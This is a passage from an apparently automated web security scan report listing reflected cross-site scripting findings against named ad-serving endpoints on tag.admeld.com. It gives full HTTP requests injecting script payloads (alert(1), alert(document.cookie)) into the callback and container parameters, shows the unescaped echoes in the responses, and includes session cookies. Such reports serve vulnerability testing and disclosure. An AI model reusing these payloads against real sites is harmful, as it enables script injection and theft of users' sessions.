AuMDgiLCJmaWQiOjE3MiwgImZjcG0iOiIwLjcwIn0seyJuZXR3b3JrX25hbWUiOiJNYXhQb2ludCBJbnRlcmFjdGl2ZSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjM0NDE0LCAiYnV5IjoxNzcsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiUXVhbnRjYXN0IChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MzUxNTgsICJidXkiOjE3OSwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNZWRpYU1hdGggKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoxMzM1MTgsICJidXkiOjUwMiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIHJlc3BvbnNlIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IngrMSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjEwOTYyMywgImJ1eSI6OTAxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IlRyaWdnaXQgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyOTcxMjcsICJidXkiOjEyNDIsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiQWN1aXR5IEFkcyAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjE0OTIyNzIsICJidXkiOjUyMDgsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiRXFhZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjo5MjI5MDIsICJidXkiOjQyNTAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyByZXNwb25zZSIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn1dLCAgdGFyZ2V0aW5nOiAgICAiIiwgIGhvc3Q6ICAgICAgICAgIm5qLXRhZzIwIn0=
Content-Length: 715
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:17 GMT
Connection: close

GlamAdmeldRenderJsAd({"ad":{"id":2339435,"adProviderId":36,"adProviderName":"drivepm","width":160,"height":600,"container":"ADMELD70271158544","bid":2.00,"requestId":"5abc4988-d520-4c2b-a043-f34c1cae2
...[SNIP]...
<iframe width=\"160\" height=\"600\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\" border=\"0\" scrolling=\"no\" src=\"http://tag.admeld.com/imp/iframe/100/26033<a b=c>9772d994d3c/160x600/420105803/6acccca4-d0e4-464e-a824-f67cb28d5556/5abc4988-d520-4c2b-a043-f34c1cae2129?url=http%3A%2F%2Fthechive%2Ecom%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2
...[SNIP]...

3.451. http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/160x600/420105803

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 561fe<script>alert(1)</script>b8583a04250 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json/100/glamtoptier/160x600/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd561fe<script>alert(1)</script>b8583a04250&floor_price=2&container=ADMELD70271158544 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICIxNjB4NjAwIiwgIGZyZXE6ICAgICAgICAgIjAtMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiZTZmN2E0MGEtNDY4Yi00OGQ3LThhOTUtNDVjMGZmZjQ5YTkzIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NiIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAicm9zIiwgIGRpdjogICAgICAgICAgImU2ZjdhNDBhLTQ2OGItNDhkNy04YTk1LTQ1YzBmZmY0OWE5MyIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJob3VzZSIsICBpbXA6ICAgICAgICAgIDIzLCAgbmV0d29ya19pZDogICAwLCAgYWNjb3VudF9pZDogICAwLCAgbmV0d29ya19uYW1lOiAiQWRNZWxkIFBTQSIsICBwdWJsaXNoZXJfbmFtZTogImdsYW0iLCAgZWNwbTogICAgICAgICAiMi4wMCIsICBmZWNwbTogICAgICAgICIyLjAwIiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJyb3MiLCAgcnVsZTogICAgICAgICAiNDIwMTA1ODAzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6IlR1cm4gKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzcxLCAiYnV5IjoxODMsImxwIjoiaHR0cDovL3d3dy5oYXJyaWV0Y2FydGVyLmNvbS8iLCJhbiI6IkhhcnJpZXQgQ2FydGVyIiwic3RhdHVzIjoiMC4wOCIsImZpZCI6NDY3MiwgImZjcG0iOiIyLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNYXhQb2ludCBJbnRlcmFjdGl2ZSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3MDUsICJidXkiOjE3NywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJRdWFudGNhc3QgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzMxLCAiYnV5IjoxNzksImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODk3MiwgImJ1eSI6NTAyLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoieCsxIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjQxOTQyNCwgImJ1eSI6OTAxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNDIzMzQxLCAiYnV5Ijo1MjA4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnNyJ9
Content-Length: 367
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:12 GMT
Connection: close

GlamAdmeldRenderJsAd561fe<script>alert(1)</script>b8583a04250({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":160,"height":600,"container":"ADMELD70271158544","bid":2.00,"requestId":"e6f7a40a-468b-48d7-8a95-45c0fff49a93","views":0,"expires":
...[SNIP]...

3.452. http://tag.admeld.com/ad/json/100/glamtoptier/160x600/420105803 [container parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/160x600/420105803

Issue detail

The value of the container request parameter is copied into the HTML document as plain text between tags. The payload cc7c8<script>alert(1)</script>d428ef8b41e was submitted in the container parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json/100/glamtoptier/160x600/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD70271158544cc7c8<script>alert(1)</script>d428ef8b41e HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICIxNjB4NjAwIiwgIGZyZXE6ICAgICAgICAgIjAtMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiZDdkYTk5YWItYjJhMy00ZDgwLWJlMzgtMjljNGNkZmY5MzM0IiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NiIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAicm9zIiwgIGRpdjogICAgICAgICAgImQ3ZGE5OWFiLWIyYTMtNGQ4MC1iZTM4LTI5YzRjZGZmOTMzNCIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJob3VzZSIsICBpbXA6ICAgICAgICAgIDI1LCAgbmV0d29ya19pZDogICAwLCAgYWNjb3VudF9pZDogICAwLCAgbmV0d29ya19uYW1lOiAiQWRNZWxkIFBTQSIsICBwdWJsaXNoZXJfbmFtZTogImdsYW0iLCAgZWNwbTogICAgICAgICAiMi4wMCIsICBmZWNwbTogICAgICAgICIyLjAwIiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJyb3MiLCAgcnVsZTogICAgICAgICAiNDIwMTA1ODAzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6IlR1cm4gKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzcxLCAiYnV5IjoxODMsImxwIjoiaHR0cDovL3d3dy5oYXJyaWV0Y2FydGVyLmNvbS8iLCJhbiI6IkhhcnJpZXQgQ2FydGVyIiwic3RhdHVzIjoiMC4wOCIsImZpZCI6NDY3MiwgImZjcG0iOiIyLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNYXhQb2ludCBJbnRlcmFjdGl2ZSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg3MDUsICJidXkiOjE3NywibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJRdWFudGNhc3QgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzMxLCAiYnV5IjoxNzksImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODk3MiwgImJ1eSI6NTAyLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoieCsxIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjQxOTQyNCwgImJ1eSI6OTAxLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNDIzMzQxLCAiYnV5Ijo1MjA4LCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9XSwgIHRhcmdldGluZzogICAgIiIsICBob3N0OiAgICAgICAgICJuai10YWc0MCJ9
Content-Length: 367
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:13 GMT
Connection: close

GlamAdmeldRenderJsAd({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":160,"height":600,"container":"ADMELD70271158544cc7c8<script>alert(1)</script>d428ef8b41e","bid":2.00,"requestId":"d7da99ab-b2a3-4d80-be38-29c4cdff9334","views":0,"expires":1297045573,"creative":"<img src=\"http://tag.admeld.com/psa/adc_es_green_160x600.jpg\"/>
...[SNIP]...

3.453. http://tag.admeld.com/ad/json/100/glamtoptier/300x250/420105803 [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/300x250/420105803

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 1a26f<script>alert(1)</script>6cc65f3f9b9 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json/100/glamtoptier/300x250/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd1a26f<script>alert(1)</script>6cc65f3f9b9&floor_price=2&container=ADMELD49669737205 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICIzMDB4MjUwIiwgIGZyZXE6ICAgICAgICAgIjAtMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiNWNiYjVmZjktZGYwZi00MGQzLWFiNTAtNTUxZTYzODhlNjRhIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NiIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAicm9zIiwgIGRpdjogICAgICAgICAgIjVjYmI1ZmY5LWRmMGYtNDBkMy1hYjUwLTU1MWU2Mzg4ZTY0YSIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJob3VzZSIsICBpbXA6ICAgICAgICAgIDI0LCAgbmV0d29ya19pZDogICAwLCAgYWNjb3VudF9pZDogICAwLCAgbmV0d29ya19uYW1lOiAiQWRNZWxkIFBTQSIsICBwdWJsaXNoZXJfbmFtZTogImdsYW0iLCAgZWNwbTogICAgICAgICAiMi4wMCIsICBmZWNwbTogICAgICAgICIyLjAwIiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJyb3MiLCAgcnVsZTogICAgICAgICAiNDIwMTA1ODAzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6IlR1cm4gKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzgyLCAiYnV5IjoxODksImxwIjoiaHR0cDovL3d3dy5oYXJyaWV0Y2FydGVyLmNvbS8iLCJhbiI6IkhhcnJpZXQgQ2FydGVyIiwic3RhdHVzIjoiMC4wOCIsImZpZCI6NDY3MiwgImZjcG0iOiIyLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNYXhQb2ludCBJbnRlcmFjdGl2ZSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg2OTMsICJidXkiOjE3NiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJRdWFudGNhc3QgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzQ3LCAiYnV5IjoxODAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODk3NywgImJ1eSI6NTAzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoieCsxIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjQxOTQyMCwgImJ1eSI6OTAwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNDIzMzcxLCAiYnV5Ijo1MjEwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnMzgifQ==
Content-Length: 367
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:09 GMT
Connection: close

GlamAdmeldRenderJsAd1a26f<script>alert(1)</script>6cc65f3f9b9({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":300,"height":250,"container":"ADMELD49669737205","bid":2.00,"requestId":"5cbb5ff9-df0f-40d3-ab50-551e6388e64a","views":0,"expires":
...[SNIP]...

3.454. http://tag.admeld.com/ad/json/100/glamtoptier/300x250/420105803 [container parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/300x250/420105803

Issue detail

The value of the container request parameter is copied into the HTML document as plain text between tags. The payload 2f902<script>alert(1)</script>7c0386feee1 was submitted in the container parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ad/json/100/glamtoptier/300x250/420105803?url=http%3A//thechive.com/%3Fign105ab01%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E958cbd566d4&callback=GlamAdmeldRenderJsAd&floor_price=2&container=ADMELD496697372052f902<script>alert(1)</script>7c0386feee1 HTTP/1.1
Host: tag.admeld.com
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: meld_sess=6acccca4-d0e4-464e-a824-f67cb28d5556; D41U=3ZZjLFmqycm2frJLZ_kZy1oQmD1O5XQTx1XkdK5tvcaDMd9HrC3OCkg

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="DEVo PSDo OUR BUS DSP ALL COR"
Pragma: no-cache
Cache-Control: no-store
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-AdMeld-Debug: eyB0eXBlOiAgICAgICAgICJtZWxkIiwgIHB1YjogICAgICAgICAgMTAwLCAgc2l0ZTogICAgICAgICAiZ2xhbXRvcHRpZXIiLCAgYWQ6ICAgICAgICAgICAtMSwgIG5ldHdvcms6ICAgICAgImFkbWVsZHBzYSIsICBzaXplOiAgICAgICAgICIzMDB4MjUwIiwgIGZyZXE6ICAgICAgICAgIjAtMCIsICBkZWZhdWx0czogICAgICIwLTAiLCAgcmVxdWVzdDogICAgICAiOGJmYmE3YjYtOTI4ZC00OGZhLTkzNzYtZjU5NzYzNmU5NzhlIiwgIHVzZXI6ICAgICAgICAgIjZhY2NjY2E0LWQwZTQtNDY0ZS1hODI0LWY2N2NiMjhkNTU1NiIsICBjb3VudHJ5OiAgICAgICJVUyIsICBjaXR5OiAgICAgICAgICJEYWxsYXMiLCAgZG1hOiAgICAgICAgICA2MjMsICByZWdpb246ICAgICAgICJUWCIsICBpcDogICAgICAgICAgICIxNzMuMTkzLjIxNC4yNDMiLCAgZGVwdGg6ICAgICAgICAxLCAgdGFyZ2V0OiAgICAgICAicm9zIiwgIGRpdjogICAgICAgICAgIjhiZmJhN2I2LTkyOGQtNDhmYS05Mzc2LWY1OTc2MzZlOTc4ZSIsICB1cmw6ICAgICAgICAgICJodHRwOi8vdGhlY2hpdmUuY29tLyIsICBlbGFwc2VkOiAgICAgIDAsICBkZWNpc2lvbjogICAgICJob3VzZSIsICBpbXA6ICAgICAgICAgIDI2LCAgbmV0d29ya19pZDogICAwLCAgYWNjb3VudF9pZDogICAwLCAgbmV0d29ya19uYW1lOiAiQWRNZWxkIFBTQSIsICBwdWJsaXNoZXJfbmFtZTogImdsYW0iLCAgZWNwbTogICAgICAgICAiMi4wMCIsICBmZWNwbTogICAgICAgICIyLjAwIiwgIGZpbGw6ICAgICAgICAgIjEwMC4wMCIsICBwbGFjZW1lbnQ6ICAgICJyb3MiLCAgcnVsZTogICAgICAgICAiNDIwMTA1ODAzIiwgIGNyZWF0aXZlX2lkOiAgIiIsICBiaWRkZXJzOiAgICAgIFt7Im5ldHdvcmtfbmFtZSI6IlR1cm4gKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzgyLCAiYnV5IjoxODksImxwIjoiaHR0cDovL3d3dy5oYXJyaWV0Y2FydGVyLmNvbS8iLCJhbiI6IkhhcnJpZXQgQ2FydGVyIiwic3RhdHVzIjoiMC4wOCIsImZpZCI6NDY3MiwgImZjcG0iOiIyLjAwIn0seyJuZXR3b3JrX25hbWUiOiJNYXhQb2ludCBJbnRlcmFjdGl2ZSAoUlRCKSIsICJiaWQiOiIwLjAwIiwiYWQiOjIzOTg2OTMsICJidXkiOjE3NiwibHAiOiIiLCJhbiI6IiIsInN0YXR1cyI6Im5vIGJpZCIsImZpZCI6MCwgImZjcG0iOiIwLjAwIn0seyJuZXR3b3JrX25hbWUiOiJRdWFudGNhc3QgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyMzk4NzQ3LCAiYnV5IjoxODAsImxwIjoiIiwiYW4iOiIiLCJzdGF0dXMiOiJubyBiaWQiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoiTWVkaWFNYXRoIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjM5ODk3NywgImJ1eSI6NTAzLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gcmVzcG9uc2UiLCJmaWQiOjAsICJmY3BtIjoiMC4wMCJ9LHsibmV0d29ya19uYW1lIjoieCsxIChSVEIpIiwgImJpZCI6IjAuMDAiLCJhZCI6MjQxOTQyMCwgImJ1eSI6OTAwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifSx7Im5ldHdvcmtfbmFtZSI6IkFjdWl0eSBBZHMgKFJUQikiLCAiYmlkIjoiMC4wMCIsImFkIjoyNDIzMzcxLCAiYnV5Ijo1MjEwLCJscCI6IiIsImFuIjoiIiwic3RhdHVzIjoibm8gYmlkIiwiZmlkIjowLCAiZmNwbSI6IjAuMDAifV0sICB0YXJnZXRpbmc6ICAgICIiLCAgaG9zdDogICAgICAgICAibmotdGFnNDcifQ==
Content-Length: 367
Content-Type: application/javascript
Date: Mon, 07 Feb 2011 02:25:10 GMT
Connection: close

GlamAdmeldRenderJsAd({"ad":{"id":-1,"adProviderId":0,"adProviderName":"admeldpsa","width":300,"height":250,"container":"ADMELD496697372052f902<script>alert(1)</script>7c0386feee1","bid":2.00,"requestId":"8bfba7b6-928d-48fa-9376-f597636e978e","views":0,"expires":1297045570,"creative":"<img src=\"http://tag.admeld.com/psa/adc_es_green_300x250.jpg\"/>
...[SNIP]...

3.455. http://tag.admeld.com/ad/json/100/glamtoptier/728x90/420105803 [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/ad/json/100/glamtoptier/728x90/420105803

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload f2517<script>alert(1)</script>872e34152a3 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

